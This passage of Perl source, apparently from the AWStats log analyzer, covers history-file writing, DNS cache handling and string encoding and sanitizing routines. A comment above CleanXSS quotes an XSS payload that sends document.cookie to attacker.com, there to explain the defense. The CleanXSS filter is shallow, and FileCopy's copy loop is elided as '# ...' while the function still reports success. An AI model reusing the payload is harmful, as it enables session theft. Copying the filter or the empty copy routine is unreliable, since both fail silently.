7290		print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
7291	}
7292	if ( $sectiontosave eq 'errors' ) {
7293		print HISTORYTMP "\n";
7294		if ($xml) {
7295			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7296		}
7297		print HISTORYTMP "# Errors - Hits - Bandwidth\n";
7298		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7299		print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}"
7300		  . ( scalar keys %_errors_h )
7301		  . "${xmlbe}\n";
7302		foreach ( keys %_errors_h ) {
7303			print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}"
7304			  . int( $_errors_k{$_} || 0 )
7305			  . "${xmlre}\n";
7306		}
7307		print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
7308	}
7309
7310	# Other - Trapped errors
7311	foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
7312		if ( $sectiontosave eq "sider_$code" ) {
7313			print HISTORYTMP "\n";
7314			if ($xml) {
7315				print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7316			}
7317			print HISTORYTMP
7318			  "# URL with $code errors - Hits"
7319			  . ($ShowHTTPErrorsPageDetail =~ /R/i ? " - Last URL referrer" : '')
7320			  . ($ShowHTTPErrorsPageDetail =~ /H/i ? " - Host" : '')
7321			  . "\n";
7322
7323			$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7324			print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}"
7325			  . ( scalar keys %{$_sider_h{$code}} )
7326			  . "${xmlbe}\n";
7327			foreach ( keys %{$_sider_h{$code}} ) {
7328				my $newkey = $_;
7329				my $newreferer = $_referer_h{$code}{$_} || '';
7330				my $newhost = $_err_host_h{$code}{$_} || '';
7331				print HISTORYTMP "${xmlrb}"
7332				  . XMLEncodeForHisto($newkey)
7333				  . "${xmlrs}$_sider_h{ $code }{$_}"
7334				  . ($ShowHTTPErrorsPageDetail =~ /R/i ? "${xmlrs}" . XMLEncodeForHisto($newreferer) : '')
7335				  . ($ShowHTTPErrorsPageDetail =~ /H/i ? "${xmlrs}" . XMLEncodeForHisto($newhost) : '')
7336				  . "${xmlre}\n";
7337			}
7338			print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
7339		}
7340	}
7341
7342	# Other - Extra stats sections
7343	foreach my $extranum ( 1 .. @ExtraName - 1 ) {
7344		if ( $sectiontosave eq "extra_$extranum" ) {
7345			print HISTORYTMP "\n";
7346			if ($xml) {
7347				print HISTORYTMP
7348"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n";
7349			}
7350			print HISTORYTMP
7351			  "# Extra key - Pages - Hits - Bandwidth - Last access\n";
7352			print HISTORYTMP
7353			  "# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
7354			$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7355			print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}"
7356			  . scalar( keys %{ '_section_' . $extranum . '_h' } )
7357			  . "${xmlbe}\n";
7358			&BuildKeyList(
7359				$MaxNbOfExtra[$extranum],
7360				$MinHitExtra[$extranum],
7361				\%{ '_section_' . $extranum . '_h' },
7362				\%{ '_section_' . $extranum . '_p' }
7363			);
7364			%keysinkeylist = ();
7365			foreach (@keylist) {
7366				$keysinkeylist{$_} = 1;
7367				my $page       = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7368				my $bytes      = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7369				my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7370				print HISTORYTMP "${xmlrb}"
7371				  . XMLEncodeForHisto($_)
7372				  . "${xmlrs}$page${xmlrs}",
7373				  ${ '_section_' . $extranum . '_h' }{$_},
7374				  "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7375				next;
7376			}
7377			foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
7378				if ( $keysinkeylist{$_} ) { next; }
7379				my $page       = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7380				my $bytes      = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7381				my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7382				print HISTORYTMP "${xmlrb}"
7383				  . XMLEncodeForHisto($_)
7384				  . "${xmlrs}$page${xmlrs}",
7385				  ${ '_section_' . $extranum . '_h' }{$_},
7386				  "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7387				next;
7388			}
7389			print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
7390		}
7391	}
7392
7393	# Other - Plugin sections
7394	if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) {
7395		my $pluginname = $1;
7396		if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) {
7397
7398#   		my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
7399#  		    eval("$function");
7400			my $function = "SectionWriteHistory_$pluginname";
7401			&$function(
7402				$xml,   $xmlbb, $xmlbs, $xmlbe, $xmlrb,
7403				$xmlrs, $xmlre, $xmleb, $xmlee
7404			);
7405		}
7406	}
7407
7408	%keysinkeylist = ();
7409}
7410
7411#--------------------------------------------------------------------
7412# Function:     Rename all tmp history file into history
7413# Parameters:   None
7414# Input:        $DirData $PROG $FileSuffix
7415#               $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
7416# Output:       None
7417# Return:       1 Ok, 0 at least one error (tmp files are removed)
7418#--------------------------------------------------------------------
7419sub Rename_All_Tmp_History {
7420	my $pid      = $$;
7421	my $renameok = 1;
7422
7423	if ($Debug) {
7424		debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)");
7425	}
7426
7427	opendir( DIR, "$DirData" );
7428
7429	my $datemask;
7430	if    ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; }
7431	elsif ( $DatabaseBreak eq 'year' )  { $datemask = '\d\d\d\d'; }
7432	elsif ( $DatabaseBreak eq 'day' )   { $datemask = '\d\d\d\d\d\d\d\d'; }
7433	elsif ( $DatabaseBreak eq 'hour' )  { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
7434	if ($Debug) {
7435		debug(
7436"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
7437		);
7438	}
7439
7440	my $regfilesuffix = quotemeta($FileSuffix);
7441	foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
7442		file_filt sort readdir DIR )
7443	{
7444		/^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
7445		if ($renameok) {    # No rename error yet
7446			if ($Debug) {
7447				debug(
7448" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",
7449					1
7450				);
7451			}
7452			if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" )
7453			{               # Rename tmp files if size > 0
7454				if ($KeepBackupOfHistoricFiles) {
7455					if ( -s "$DirData/$PROG$1$FileSuffix.txt" )
7456					{       # History file already exists. We backup it
7457						if ($Debug) {
7458							debug(
7459"  Make a backup of old history file into $PROG$1$FileSuffix.bak before",
7460								1
7461							);
7462						}
7463
7464#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
7465						if (
7466							rename(
7467								"$DirData/$PROG$1$FileSuffix.txt",
7468								"$DirData/$PROG$1$FileSuffix.bak"
7469							) == 0
7470						  )
7471						{
7472							warning(
7473"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
7474							);
7475						}
7476						if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7477							chmod 0666, "$DirData/$PROG$1$FileSuffix.bak";
7478						}
7479					}
7480					else {
7481						if ($Debug) {
7482							debug( "  No need to backup old history file", 1 );
7483						}
7484					}
7485				}
7486				if (
7487					rename(
7488						"$DirData/$PROG$1$FileSuffix.tmp.$$",
7489						"$DirData/$PROG$1$FileSuffix.txt"
7490					) == 0
7491				  )
7492				{
7493					$renameok =
7494					  0;    # At least one error in renaming working files
7495					        # Remove tmp file
7496					unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7497					warning(
7498"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
7499						  . (
7500							$ENV{'GATEWAY_INTERFACE'}
7501							? " for an 'update from web'"
7502							: ""
7503						  )
7504						  . " or file might be opened."
7505					);
7506					next;
7507				}
7508				if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7509					chmod 0666, "$DirData/$PROG$1$FileSuffix.txt";
7510				}
7511			}
7512		}
7513		else {    # Because of rename error, we remove all remaining tmp files
7514			unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7515		}
7516	}
7517	close DIR;
7518	return $renameok;
7519}
7520
7521#------------------------------------------------------------------------------
7522# Function:     Load DNS cache file entries into a memory hash array
7523# Parameters:	Hash array ref to load into,
7524#               File name to load,
7525#				File suffix to use
7526#               Save to a second plugin file if not up to date
7527# Input:		None
7528# Output:		Hash array is loaded
7529# Return:		1 No DNS Cache file found, 0 OK
7530#------------------------------------------------------------------------------
7531sub Read_DNS_Cache {
7532	my $hashtoload   = shift;
7533	my $dnscachefile = shift;
7534	my $filesuffix   = shift;
7535	my $savetohash   = shift;
7536
7537	my $dnscacheext = '';
7538	my $filetoload  = '';
7539	my $timetoload  = time();
7540
7541	if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
7542	if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7543	foreach my $dir ( "$DirData", ".", "" ) {
7544		my $searchdir = $dir;
7545		if (   $searchdir
7546			&& ( !( $searchdir =~ /\/$/ ) )
7547			&& ( !( $searchdir =~ /\\$/ ) ) )
7548		{
7549			$searchdir .= "/";
7550		}
7551		if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
7552			$filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
7553		}
7554
7555		# Plugin call : Change filetoload
7556		if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
7557			SearchFile_hashfiles(
7558				$searchdir,   $dnscachefile, $filesuffix,
7559				$dnscacheext, $filetoload
7560			);
7561		}
7562		if ($filetoload) { last; }    # We found a file to load
7563	}
7564
7565	if ( !$filetoload ) {
7566		if ($Debug) { debug(" No DNS Cache file found"); }
7567		return 1;
7568	}
7569
7570	# Plugin call : Load hashtoload
7571	if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) {
7572		LoadCache_hashfiles( $filetoload, $hashtoload );
7573	}
7574	if ( !scalar keys %$hashtoload ) {
7575		open( DNSFILE, "$filetoload" )
7576		  or error("Couldn't open DNS Cache file \"$filetoload\": $!");
7577
7578#binmode DNSFILE;		# If we set binmode here, it seems that the load is broken on ActiveState 5.8
7579# This is a fast way to load with regexp
7580		%$hashtoload =
7581		  map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> );
7582		close DNSFILE;
7583		if ($savetohash) {
7584
7585	# Plugin call : Save hash file (all records) with test if up to date to save
7586			if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7587				SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 );
7588			}
7589		}
7590	}
7591	if ($Debug) {
7592		debug(
7593			" Loaded "
7594			  . ( scalar keys %$hashtoload )
7595			  . " items from $filetoload in "
7596			  . ( time() - $timetoload )
7597			  . " seconds.",
7598			1
7599		);
7600	}
7601	return 0;
7602}
7603
7604#------------------------------------------------------------------------------
7605# Function:     Save a memory hash array into a DNS cache file
7606# Parameters:	Hash array ref to save,
7607#               File name to save,
7608#				File suffix to use
7609# Input:		None
7610# Output:		None
7611# Return:		0 OK, 1 Error
7612#------------------------------------------------------------------------------
7613sub Save_DNS_Cache_File {
7614	my $hashtosave   = shift;
7615	my $dnscachefile = shift;
7616	my $filesuffix   = shift;
7617
7618	my $dnscacheext    = '';
7619	my $filetosave     = '';
7620	my $timetosave     = time();
7621	my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE;
7622	my $nbofelemsaved  = 0;
7623
7624	if ($Debug) {
7625		debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]");
7626	}
7627	if ( !scalar keys %$hashtosave ) {
7628		if ($Debug) { debug(" No data to save"); }
7629		return 0;
7630	}
7631	if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7632	$filetosave = "$dnscachefile$filesuffix$dnscacheext";
7633
7634# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
7635	if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7636		SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
7637			$nbofelemsaved );
7638		if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7639			chmod 0666, "$filetosave";
7640		}
7641	}
7642	if ( !$nbofelemsaved ) {
7643		$filetosave = "$dnscachefile$filesuffix$dnscacheext";
7644		if ($Debug) {
7645			debug(
7646				" Save data "
7647				  . (
7648					$nbofelemtosave
7649					? "($nbofelemtosave records max)"
7650					: "(all records)"
7651				  )
7652				  . " into file $filetosave"
7653			);
7654		}
7655		if ( !open( DNSFILE, ">$filetosave" ) ) {
7656			warning(
7657"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
7658			);
7659			return 1;
7660		}
7661		binmode DNSFILE;
7662		my $starttimemin = int( $starttime / 60 );
7663		foreach my $key ( keys %$hashtosave ) {
7664
7665			#if ($hashtosave->{$key} ne '*') {
7666			my $ipsolved = $hashtosave->{$key};
7667			print DNSFILE "$starttimemin\t$key\t"
7668			  . ( $ipsolved eq 'ip' ? '*' : $ipsolved )
7669			  . "\n";    # Change 'ip' to '*' for backward compatibility
7670			if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; }
7671
7672			#}
7673		}
7674		close DNSFILE;
7675
7676		if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7677			chmod 0666, "$filetosave";
7678		}
7679
7680	}
7681	if ($Debug) {
7682		debug(
7683			" Saved $nbofelemsaved items into $filetosave in "
7684			  . ( time() - $timetosave )
7685			  . " seconds.",
7686			1
7687		);
7688	}
7689	return 0;
7690}
7691
7692#------------------------------------------------------------------------------
7693# Function:     Return time elapsed since last call in miliseconds
7694# Parameters:	0|1 (0 reset counter, 1 no reset)
7695# Input:		None
7696# Output:		None
7697# Return:		Number of miliseconds elapsed since last call
7698#------------------------------------------------------------------------------
7699sub GetDelaySinceStart {
7700	if (shift) { $StartSeconds = 0; }    # Reset chrono
7701	my ( $newseconds, $newmicroseconds ) = ( time(), 0 );
7702
7703	# Plugin call : Return seconds and milliseconds
7704	if ( $PluginsLoaded{'GetTime'}{'timehires'} ) {
7705		GetTime_timehires( $newseconds, $newmicroseconds );
7706	}
7707	if ( !$StartSeconds ) {
7708		$StartSeconds      = $newseconds;
7709		$StartMicroseconds = $newmicroseconds;
7710	}
7711	return ( ( $newseconds - $StartSeconds ) * 1000 +
7712		  int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
7713}
7714
7715#------------------------------------------------------------------------------
7716# Function:     Reset all variables whose name start with _ because a new month start
7717# Parameters:	None
7718# Input:        $YearRequired All variables whose name start with _
7719# Output:       All variables whose name start with _
7720# Return:		None
7721#------------------------------------------------------------------------------
7722sub Init_HashArray {
7723	if ($Debug) { debug("Call to Init_HashArray"); }
7724
7725	# Reset global hash arrays
7726	%FirstTime           = %LastTime           = ();
7727	%MonthHostsKnown     = %MonthHostsUnknown  = ();
7728	%MonthVisits         = %MonthUnique        = ();
7729	%MonthPages          = %MonthHits          = %MonthBytes = ();
7730	%MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
7731	%DayPages            = %DayHits            = %DayBytes = %DayVisits = ();
7732
7733	# Reset all arrays with name beginning by _
7734	for ( my $ix = 0 ; $ix < 6 ; $ix++ ) {
7735		$_from_p[$ix] = 0;
7736		$_from_h[$ix] = 0;
7737	}
7738	for ( my $ix = 0 ; $ix < 24 ; $ix++ ) {
7739		$_time_h[$ix]    = 0;
7740		$_time_k[$ix]    = 0;
7741		$_time_p[$ix]    = 0;
7742		$_time_nv_h[$ix] = 0;
7743		$_time_nv_k[$ix] = 0;
7744		$_time_nv_p[$ix] = 0;
7745	}
7746
7747	# Reset all hash arrays with name beginning by _
7748	%_session     = %_browser_h   = %_browser_p   = ();
7749	%_domener_p   = %_domener_h   = %_domener_k = %_errors_h = %_errors_k = ();
7750	%_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
7751	%_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
7752	%_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
7753	%_keyphrases = %_keywords   = %_os_h = %_os_p = %_pagesrefs_p = %_pagesrefs_h =
7754	  %_robot_h  = %_robot_k    = %_robot_l = %_robot_r = ();
7755	%_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k =
7756	  %_login_l      = %_screensize_h   = ();
7757	%_misc_p         = %_misc_h         = %_misc_k = ();
7758	%_cluster_p      = %_cluster_h      = %_cluster_k = ();
7759	%_se_referrals_p = %_se_referrals_h = %_sider_h = %_referer_h = %_err_host_h =
7760	  %_url_p        = %_url_k          = %_url_e = %_url_x = ();
7761	%_downloads = ();
7762	%_unknownreferer_l = %_unknownrefererbrowser_l = ();
7763	%_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k =
7764	  %_emailr_l = ();
7765
7766	for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) {
7767		%{ '_section_' . $ix . '_h' }   = %{ '_section_' . $ix . '_o' } =
7768		  %{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } =
7769		  %{ '_section_' . $ix . '_p' } = ();
7770	}
7771	foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } )
7772	{
7773
7774		#   		my $function="SectionInitHashArray_$pluginname()";
7775		#   		eval("$function");
7776		my $function = "SectionInitHashArray_$pluginname";
7777		&$function();
7778	}
7779}
7780
7781#------------------------------------------------------------------------------
7782# Function:     Change word separators of a keyphrase string into space and
7783#               remove bad coded chars
7784# Parameters:	stringtodecode
7785# Input:        None
7786# Output:       None
7787# Return:		decodedstring
7788#------------------------------------------------------------------------------
7789sub ChangeWordSeparatorsIntoSpace {
7790	$_[0] =~ s/%0[ad]/ /ig;          # LF CR
7791	$_[0] =~ s/%2[02789abc]/ /ig;    # space " ' ( ) * + ,
7792	$_[0] =~ s/%3a/ /ig;             # :
7793	$_[0] =~
7794	  tr/\+\'\(\)\"\*,:/        /s;    # "&" and "=" must not be in this list
7795}
7796
7797#------------------------------------------------------------------------------
7798# Function:		Transforms special chars by entities as needed in XML/XHTML
7799# Parameters:	stringtoencode
7800# Return:		encodedstring
7801#------------------------------------------------------------------------------
7802sub XMLEncode {
7803	if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) {
7804		return shift;
7805	}
7806	my $string = shift;
7807	$string =~ s/&/&amp;/g;
7808	$string =~ s/</&lt;/g;
7809	$string =~ s/>/&gt;/g;
7810	$string =~ s/\"/&quot;/g;
7811	$string =~ s/\'/&apos;/g;
7812	return $string;
7813}
7814
7815#------------------------------------------------------------------------------
7816# Function:		Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
7817#				Decoding is done by XMLDecodeFromHisto.
7818#				AWStats data files are stored in ISO-8859-1.
7819# Parameters:	stringtoencode
7820# Return:		encodedstring
7821#------------------------------------------------------------------------------
7822sub XMLEncodeForHisto {
7823	my $string = shift;
7824	$string =~ s/\s/%20/g;
7825	if ( $BuildHistoryFormat ne 'xml' ) { return $string; }
7826	$string =~ s/=/%3d/g;
7827	$string =~ s/&/&amp;/g;
7828	$string =~ s/</&lt;/g;
7829	$string =~ s/>/&gt;/g;
7830	$string =~ s/\"/&quot;/g;
7831	$string =~ s/\'/&apos;/g;
7832	return $string;
7833}
7834
7835#------------------------------------------------------------------------------
7836# Function:     Encode an ISO string to PageCode output
7837# Parameters:	stringtoencode
7838# Return:		encodedstring
7839#------------------------------------------------------------------------------
7840sub EncodeToPageCode {
7841	my $string = shift;
7842	if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
7843	return $string;
7844}
7845
7846#------------------------------------------------------------------------------
7847# Function:     Encode a binary string into an ASCII string
7848# Parameters:	stringtoencode
7849# Return:		encodedstring
7850#------------------------------------------------------------------------------
7851sub EncodeString {
7852	my $string = shift;
7853
7854	#	use bytes;
7855	$string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
7856
7857	#	no bytes;
7858	$string =~ tr/ /+/s;
7859	return $string;
7860}
7861
7862#------------------------------------------------------------------------------
7863# Function:     Decode an url encoded text string into a binary string
7864# Parameters:   stringtodecode
7865# Input:        None
7866# Output:       None
7867# Return:       decodedstring
7868#------------------------------------------------------------------------------
7869sub DecodeEncodedString {
7870	my $stringtodecode = shift;
7871	$stringtodecode =~ tr/\+/ /s;
7872	$stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
7873	$stringtodecode =~ s/["']//g;
7874
7875	return $stringtodecode;
7876}
7877
7878#------------------------------------------------------------------------------
7879# Function:     Similar to DecodeEncodedString, but decode only
7880#               RFC3986 "unreserved characters"
7881# Parameters:   stringtodecode
7882# Input:        None
7883# Output:       None
7884# Return:       decodedstring
7885#------------------------------------------------------------------------------
7886sub DecodeRFC3986UnreservedString {
7887	my $stringtodecode = shift;
7888
7889	$stringtodecode =~ s/%([46][1-9A-F]|[57][0-9A]|3[0-9]|2D|2E|5F|7E)/pack("C", hex($1))/ieg;
7890
7891	return $stringtodecode;
7892}
7893
7894#------------------------------------------------------------------------------
7895# Function:     Decode a precompiled regex value to a common regex value
7896# Parameters:   compiledregextodecode
7897# Input:        None
7898# Output:       None
7899# Return:		standardregex
7900#------------------------------------------------------------------------------
7901sub UnCompileRegex {
7902	shift =~ /\(\?[-^\w]*:(.*)\)/;         # Works with all perl
7903	# shift =~ /\(\?[-\w]*:(.*)\)/;        < perl 5.14
7904	return $1;
7905}
7906
7907#------------------------------------------------------------------------------
7908# Function:     Clean a string of all chars that are not char or _ - \ / . \s
7909# Parameters:   stringtoclean, full
7910# Input:        None
7911# Output:       None
7912# Return:		cleanedstring
7913#------------------------------------------------------------------------------
7914sub Sanitize {
7915	my $stringtoclean = shift;
7916	my $full = shift || 0;
7917	if ($full) {
7918		$stringtoclean =~ s/[^\w\d]//g;
7919	}
7920	else {
7921		$stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g;
7922	}
7923	return $stringtoclean;
7924}
7925
7926#------------------------------------------------------------------------------
7927# Function:     Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
7928#               and clean | char.
7929#				A XSS attack is providing an AWStats url with XSS code that is executed
7930#				when page loaded by awstats CGI is loaded from AWStats server. Such a code
7931#				can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
7932#				This make the browser sending a request to the attacker server that contains
7933#				cookie used for AWStats server sessions. Attacker can this way caught this
7934#				cookie and used it to go on AWStats server like original visitor. For this
7935#				resaon, parameter received by AWStats must be sanitized by this function
7936#				before being put inside a web page.
7937# Parameters:   stringtoclean
7938# Input:        None
7939# Output:       None
7940# Return:		cleanedstring
7941#------------------------------------------------------------------------------
7942sub CleanXSS {
7943	my $stringtoclean = shift;
7944
7945	# To avoid html tags and javascript
7946	$stringtoclean =~ s/</&lt;/g;
7947	$stringtoclean =~ s/>/&gt;/g;
7948	$stringtoclean =~ s/|//g;
7949
7950	# To avoid onload="
7951	$stringtoclean =~ s/onload//g;
7952	return $stringtoclean;
7953}
7954
7955#------------------------------------------------------------------------------
7956# Function:     Clean tags in a string
7957#				AWStats data files are stored in ISO-8859-1.
7958# Parameters:   stringtodecode
7959# Input:        None
7960# Output:       None
7961# Return:		decodedstring
7962#------------------------------------------------------------------------------
7963sub XMLDecodeFromHisto {
7964	my $stringtoclean = shift;
7965	$stringtoclean =~ s/$regclean1/ /g;    # Replace <recnb> or </td> with space
7966	$stringtoclean =~ s/$regclean2//g;     # Remove others <xxx>
7967	$stringtoclean =~ s/%3d/=/g;
7968	$stringtoclean =~ s/&amp;/&/g;
7969	$stringtoclean =~ s/&lt;/</g;
7970	$stringtoclean =~ s/&gt;/>/g;
7971	$stringtoclean =~ s/&quot;/\"/g;
7972	$stringtoclean =~ s/&apos;/\'/g;
7973	return $stringtoclean;
7974}
7975
7976#------------------------------------------------------------------------------
7977# Function:     Copy one file into another
7978# Parameters:   sourcefilename targetfilename
7979# Input:        None
7980# Output:       None
7981# Return:		0 if copy is ok, 1 else
7982#------------------------------------------------------------------------------
7983sub FileCopy {
7984	my $filesource = shift;
7985	my $filetarget = shift;
7986	if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); }
7987	open( FILESOURCE, "$filesource" )  || return 1;
7988	open( FILETARGET, ">$filetarget" ) || return 1;
7989	binmode FILESOURCE;
7990	binmode FILETARGET;
7991
7992	# ...
7993	close(FILETARGET);
7994	close(FILESOURCE);
7995	if ($Debug) { debug( " File copied", 1 ); }
7996	return 0;
7997}
7998
7999#------------------------------------------------------------------------------
8000# Function:     Format a QUERY_STRING
8001# Parameters:   query
8002# Input:        None
8003# Output:       None
8004# Return:		formatted query
8005#------------------------------------------------------------------------------
8006# TODO Appeller cette fonction partout ou il y a des NewLinkParams
8007sub CleanNewLinkParamsFrom {
8008	my $NewLinkParams = shift;
8009	while ( my $param = shift ) {
8010		$NewLinkParams =~ s/(^|&|&amp;)$param(=[^&]*|$)//i;
8011	}
8012	$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
8013	$NewLinkParams =~ s/^&amp;//;
8014	$NewLinkParams =~ s/&amp;$//;
8015	return $NewLinkParams;
8016}
8017
8018#------------------------------------------------------------------------------
8019# Function:     Show flags for other language translations
8020# Parameters:   Current languade id (en, fr, ...)
8021# Input:        None
8022# Output:       None
8023# Return:       None
8024#------------------------------------------------------------------------------
8025sub Show_Flag_Links {
8026	my $CurrentLang = shift;
8027
8028	# Build flags link
8029	my $NewLinkParams = $QueryString;
8030	my $NewLinkTarget = '';
8031	if ( $ENV{'GATEWAY_INTERFACE'} ) {
8032		$NewLinkParams =
8033		  CleanNewLinkParamsFrom( $NewLinkParams,
8034			( 'update', 'staticlinks', 'framename', 'lang' ) );
8035		$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
8036		$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
8037		$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
8038		$NewLinkParams =~ s/(^|&|&amp;)lang=[^&]*//i;
8039		$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
8040		$NewLinkParams =~ s/^&amp;//;
8041		$NewLinkParams =~ s/&amp;$//;
8042		if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
8043
8044		if ( $FrameName eq 'mainright' ) {
8045			$NewLinkTarget = " target=\"_parent\"";
8046		}
8047	}
8048	else {
8049		$NewLinkParams =
8050		  ( $SiteConfig ? "config=$SiteConfig&amp;" : "" )
8051		  . "year=$YearRequired&amp;month=$MonthRequired&amp;";
8052	}
8053	if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&amp;'; }
8054	if ( $FrameName eq 'mainright' ) {
8055		$NewLinkParams .= 'framename=index&amp;';
8056	}
8057
8058	foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) {
8059		$lng =
8060		    $LangBrowserToLangAwstats{$lng}
8061		  ? $LangBrowserToLangAwstats{$lng}
8062		  : $lng;
8063		if ( $lng ne $CurrentLang ) {
8064			my %lngtitle = (
8065				'en', 'English', 'fr', 'French', 'de', 'German',
8066				'it', 'Italian', 'nl', 'Dutch',  'es', 'Spanish'
8067			);
8068			my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
8069			my $flag = (
8070				  $LangAWStatsToFlagAwstats{$lng}
8071				? $LangAWStatsToFlagAwstats{$lng}
8072				: $lng
8073			);
8074			print "<a href=\""
8075			  . XMLEncode("$AWScript${NewLinkParams}lang=$lng")
8076			  . "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
8077			  . AltTitle("$lngtitle")
8078			  . " /></a>&nbsp;\n";
8079		}
8080	}
8081}
8082
8083#------------------------------------------------------------------------------
8084# Function:		Format value in bytes in a string (Bytes, Kb, Mb, Gb)
8085# Parameters:   bytes (integer value or "0.00")
8086# Input:        None
8087# Output:       None
8088# Return:       "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
8089#------------------------------------------------------------------------------
8090sub Format_Bytes {
8091	my $bytes = shift || 0;
8092	my $fudge = 1;
8093
8094# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
8095	if ( $bytes >= ( $fudge << 40 ) ) {
8096		return sprintf( "%.2f", $bytes / 1099511627776 ) . " $Message[179]";
8097	}
8098	if ( $bytes >= ( $fudge << 30 ) ) {
